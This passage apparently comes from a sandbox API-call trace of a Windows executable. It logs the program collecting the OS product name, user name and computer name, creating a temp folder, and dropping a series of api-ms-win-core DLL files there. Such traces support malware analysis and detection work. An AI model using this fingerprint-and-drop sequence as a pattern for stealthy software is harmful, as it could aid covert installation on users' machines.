| out: phkResult=0x18e590*=0x39c) returned 0x0 [0056.314] RegQueryValueExW (in: hKey=0x39c, lpValueName="ProductName", lpReserved=0x0, lpType=0x18e598, lpData=0x18e390, lpcbData=0x18e594*=0xfe | out: lpType=0x18e598*=0x1, lpData="Windows 7 Professional", lpcbData=0x18e594*=0x2e) returned 0x0 [0056.314] RegCloseKey (hKey=0x80000002) returned 0x0 [0056.314] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 22 [0056.314] GetUserNameW (in: lpBuffer=0x18e3b4, pcbBuffer=0x18e3b0 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e3b0) returned 1 [0056.315] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxzal8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 20 [0056.315] GetComputerNameW (in: lpBuffer=0x18e3b4, nSize=0x18e3b0 | out: lpBuffer="XDUWTFONO", nSize=0x18e3b0) returned 1 [0056.315] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x18d5a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONOjS HALPmcxzal8-7d9ec416e53f", lpUsedDefaultChar=0x0) returned 9 [0056.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0a7c, cbMultiByte=8, lpWideCharStr=0x18d5fc, cchWideChar=2047 | out: lpWideCharStr="FF335045") returned 8 [0056.315] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\FF335045\\", lpDst=0x6b2efc, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\") returned 0x2f [0056.315] SysReAllocStringLen (in: pbstr=0x41c7c0*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\", len=0x2e | out: pbstr=0x41c7c0*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\") returned 1 [0056.315] CreateDirectoryW (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045"), lpSecurityAttributes=0x0) returned 1 [0056.316] VirtualAlloc (lpAddress=0x3bd0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd0000 [0056.317] VirtualAlloc (lpAddress=0x3bd8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x3bd8000 [0056.317] VirtualAlloc (lpAddress=0x42a4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42a4000 [0056.318] VirtualAlloc (lpAddress=0x42ac000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42ac000 [0056.319] VirtualAlloc (lpAddress=0x42b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42b4000 [0056.319] VirtualAlloc (lpAddress=0x42bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42bc000 [0056.319] VirtualFree (lpAddress=0x42b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.320] VirtualAlloc (lpAddress=0x42c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42c4000 [0056.320] VirtualAlloc (lpAddress=0x42cc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42cc000 [0056.321] VirtualAlloc (lpAddress=0x42d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42d4000 [0056.322] VirtualAlloc (lpAddress=0x42dc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42dc000 [0056.322] VirtualFree (lpAddress=0x42d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.322] VirtualAlloc (lpAddress=0x42e4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42e4000 [0056.323] VirtualAlloc (lpAddress=0x42ec000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42ec000 [0056.324] VirtualAlloc (lpAddress=0x42f4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42f4000 [0056.324] VirtualAlloc (lpAddress=0x42fc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x42fc000 [0056.324] VirtualFree (lpAddress=0x42f8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.325] VirtualAlloc (lpAddress=0x4304000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4304000 [0056.325] VirtualAlloc (lpAddress=0x430c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x430c000 [0056.326] VirtualAlloc (lpAddress=0x4314000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4314000 [0056.326] VirtualAlloc (lpAddress=0x431c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x431c000 [0056.326] VirtualFree (lpAddress=0x4318000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.327] VirtualAlloc (lpAddress=0x4324000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4324000 [0056.328] VirtualAlloc (lpAddress=0x432c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x432c000 [0056.328] VirtualAlloc (lpAddress=0x4334000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4334000 [0056.328] VirtualFree (lpAddress=0x4330000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.329] VirtualAlloc (lpAddress=0x433c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x433c000 [0056.329] VirtualAlloc (lpAddress=0x4344000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4344000 [0056.329] VirtualFree (lpAddress=0x4340000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.330] VirtualAlloc (lpAddress=0x434c000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x434c000 [0056.331] VirtualAlloc (lpAddress=0x4360000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4360000 [0056.332] VirtualAlloc (lpAddress=0x4368000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4368000 [0056.332] VirtualAlloc (lpAddress=0x4370000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4370000 [0056.333] VirtualAlloc (lpAddress=0x4378000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x4378000 [0056.334] VirtualAlloc (lpAddress=0x524000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x524000 [0056.334] VirtualFree (lpAddress=0x437c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.349] VirtualAlloc (lpAddress=0x437c000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x437c000 [0056.349] VirtualFree (lpAddress=0x574000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.351] VirtualAlloc (lpAddress=0x574000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x574000 [0056.358] VirtualAlloc (lpAddress=0x0, dwSize=0x130000, flAllocationType=0x2000, flProtect=0x1) returned 0x3be0000 [0056.358] VirtualAlloc (lpAddress=0x3be0000, dwSize=0x130000, flAllocationType=0x1000, flProtect=0x4) returned 0x3be0000 [0056.370] VirtualAlloc (lpAddress=0x5e0000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0056.371] VirtualAlloc (lpAddress=0x5f8000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x5f8000 [0056.372] VirtualFree (lpAddress=0x5f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.374] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x2000, flProtect=0x1) returned 0x3d10000 [0056.374] VirtualAlloc (lpAddress=0x3d10000, dwSize=0x118000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d10000 [0056.385] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x43a0000 [0056.385] VirtualAlloc (lpAddress=0x43a0000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x43a0000 [0056.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=34, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-console-l1-1-0.dll335045") returned 34 [0056.386] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-console-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-console-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.387] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.387] WriteFile (in: hFile=0xe8, lpBuffer=0x43b7098*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b7098*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.388] CloseHandle (hObject=0xe8) returned 1 [0056.389] VirtualFree (lpAddress=0x43b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.389] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=35, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-datetime-l1-1-0.dll35045") returned 35 [0056.390] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-datetime-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-datetime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.390] WriteFile (in: hFile=0xe8, lpBuffer=0x43bb7e0*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bb7e0*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.391] CloseHandle (hObject=0xe8) returned 1 [0056.392] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.392] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.393] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=32, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-debug-l1-1-0.dlldll35045") returned 32 [0056.393] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-debug-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-debug-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.395] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.396] WriteFile (in: hFile=0xe8, lpBuffer=0x43b6e98*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b6e98*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.397] CloseHandle (hObject=0xe8) returned 1 [0056.397] VirtualFree (lpAddress=0x43b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.398] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=40, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-errorhandling-l1-1-0.dll") returned 40 [0056.398] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-errorhandling-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-errorhandling-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.399] WriteFile (in: hFile=0xe8, lpBuffer=0x43bb5e0*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bb5e0*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.400] CloseHandle (hObject=0xe8) returned 1 [0056.401] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.401] VirtualAlloc (lpAddress=0x43bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43bc000 [0056.401] VirtualFree (lpAddress=0x43b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l1-1-0.dll1-1-0.dll") returned 31 [0056.402] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-file-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-file-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.402] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.402] WriteFile (in: hFile=0xe8, lpBuffer=0x43c0b28*, nNumberOfBytesToWrite=0x5538, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c0b28*, lpNumberOfBytesWritten=0x18e5c4*=0x5538, lpOverlapped=0x0) returned 1 [0056.404] CloseHandle (hObject=0xe8) returned 1 [0056.404] VirtualFree (lpAddress=0x43c4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.405] VirtualAlloc (lpAddress=0x43c4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c4000 [0056.405] VirtualFree (lpAddress=0x43b8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.405] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c0b28, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l1-2-0.dll1-1-0.dll") returned 31 [0056.405] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.406] WriteFile (in: hFile=0xe8, lpBuffer=0x43c529c*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c529c*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.407] CloseHandle (hObject=0xe8) returned 1 [0056.407] VirtualFree (lpAddress=0x43c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.408] VirtualAlloc (lpAddress=0x43c8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c8000 [0056.408] VirtualFree (lpAddress=0x43c0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.408] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c529c, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-file-l2-1-0.dll1-1-0.dll") returned 31 [0056.408] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.409] WriteFile (in: hFile=0xe8, lpBuffer=0x43c9a10*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43c9a10*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.410] CloseHandle (hObject=0xe8) returned 1 [0056.411] VirtualFree (lpAddress=0x43cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.411] VirtualAlloc (lpAddress=0x43cc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43cc000 [0056.411] VirtualFree (lpAddress=0x43c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.411] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43c9a10, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-handle-l1-1-0.dll1-0.dll") returned 33 [0056.412] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-handle-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-handle-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.412] WriteFile (in: hFile=0xe8, lpBuffer=0x43ce188*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43ce188*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.413] CloseHandle (hObject=0xe8) returned 1 [0056.414] VirtualFree (lpAddress=0x43d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.414] VirtualAlloc (lpAddress=0x43d0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d0000 [0056.415] VirtualFree (lpAddress=0x43c8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.415] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43ce188, cbMultiByte=31, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-heap-l1-1-0.dllll1-0.dll") returned 31 [0056.415] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-heap-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.415] WriteFile (in: hFile=0xe8, lpBuffer=0x43d28fc*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43d28fc*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.416] CloseHandle (hObject=0xe8) returned 1 [0056.417] VirtualFree (lpAddress=0x43d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.417] VirtualAlloc (lpAddress=0x43d4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d4000 [0056.418] VirtualFree (lpAddress=0x43cc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43d28fc, cbMultiByte=38, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-interlocked-l1-1-0.dllll") returned 38 [0056.418] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-interlocked-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-interlocked-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.419] WriteFile (in: hFile=0xe8, lpBuffer=0x43d6f00*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43d6f00*, lpNumberOfBytesWritten=0x18e5c4*=0x45c0, lpOverlapped=0x0) returned 1 [0056.420] CloseHandle (hObject=0xe8) returned 1 [0056.420] VirtualFree (lpAddress=0x43d8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.421] VirtualAlloc (lpAddress=0x43d8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43d8000 [0056.421] VirtualFree (lpAddress=0x43d0000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43d6f00, cbMultiByte=40, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-libraryloader-l1-1-0.dll") returned 40 [0056.421] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-libraryloader-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-libraryloader-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.422] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.422] VirtualFree (lpAddress=0x43dc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.422] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.423] CloseHandle (hObject=0xe8) returned 1 [0056.424] VirtualFree (lpAddress=0x43b4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.424] VirtualAlloc (lpAddress=0x43b4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b4000 [0056.425] VirtualFree (lpAddress=0x43d4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.425] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43b2720, cbMultiByte=39, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-localization-l1-2-0.dlll") returned 39 [0056.425] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.426] VirtualAlloc (lpAddress=0x43bc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43bc000 [0056.426] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.426] WriteFile (in: hFile=0xe8, lpBuffer=0x43bc00c*, nNumberOfBytesToWrite=0x5138, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bc00c*, lpNumberOfBytesWritten=0x18e5c4*=0x5138, lpOverlapped=0x0) returned 1 [0056.428] CloseHandle (hObject=0xe8) returned 1 [0056.428] VirtualFree (lpAddress=0x43bc000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.429] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3e24244, cbMultiByte=33, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-memory-l1-1-0.dll-0.dlll") returned 33 [0056.429] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-memory-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-memory-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.429] WriteFile (in: hFile=0xe8, lpBuffer=0x43b2720*, nNumberOfBytesToWrite=0x4938, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43b2720*, lpNumberOfBytesWritten=0x18e5c4*=0x4938, lpOverlapped=0x0) returned 1 [0056.432] CloseHandle (hObject=0xe8) returned 1 [0056.432] VirtualFree (lpAddress=0x43b8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x43bc1e4, cbMultiByte=36, lpWideCharStr=0x18d5bc, cchWideChar=2047 | out: lpWideCharStr="api-ms-win-core-namedpipe-l1-1-0.dlldlll") returned 36 [0056.433] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\FF335045\\/api-ms-win-core-namedpipe-l1-1-0.dll" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ff335045\\api-ms-win-core-namedpipe-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0056.433] VirtualAlloc (lpAddress=0x43c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43c0000 [0056.434] WriteFile (in: hFile=0xe8, lpBuffer=0x43bc218*, nNumberOfBytesToWrite=0x4738, lpNumberOfBytesWritten=0x18e5c4, lpOverlapped=0x0 | out: lpBuffer=0x43bc218*, lpNumberOfBytesWritten=0x18e5c4*=0x4738, lpOverlapped=0x0) returned 1 [0056.434] CloseHandle (hObject=0xe8) returned 1 [0056.435] VirtualFree (lpAddress=0x43c0000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0056.435] VirtualFree (lpAddress=0x43bc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0056.436] VirtualAlloc (lpAddress=0x43b8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x43b8000 [0056.436] 